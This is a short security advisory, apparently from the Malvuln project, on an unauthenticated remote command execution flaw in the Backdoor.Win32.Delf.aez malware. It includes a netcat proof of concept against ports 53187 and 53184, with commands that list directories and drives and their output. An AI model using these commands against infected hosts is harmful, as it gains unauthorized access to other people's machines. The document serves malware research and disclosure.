Backdoor.Win32.Delf.aez / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/be4a6274679ca966a1d99140db54c25a.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.aez
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on several TCP ports and accepts
unauthenticated commands on port 53187 and 53184. Commands are in Polish
E.g. Wylogowuj translated is "Log out" and we get response "#Zmiany Profilu
w│aczone" ("#Profile change enabled."). Sending a single characters "d" or
"f" to port 53187 also returns system information.
Type: PE32
MD5: be4a6274679ca966a1d99140db54c25a
Vuln ID: MVID-2021-0217
Disclosure: 05/17/2021

Exploit/PoC:
nc64.exe x.x.x.x 53187
f
f 6
PerfLogs
Program Files
Program Files (x86)
Users
Windows
$WINRE_BACKUP_PARTITION.MARKER
0
bootmgr
398082
BOOTNXT
1
BOOTSECT.BAK
8192
pagefile.sys
671088640
swapfile.sys
16777216
d
d
C: - Dysk lokalny
D: - CD-ROM

nc64.exe x.x.x.x 53184
#Wylogowuj
#Zmiany Profilu w│aczone.       #Profile change enabled.


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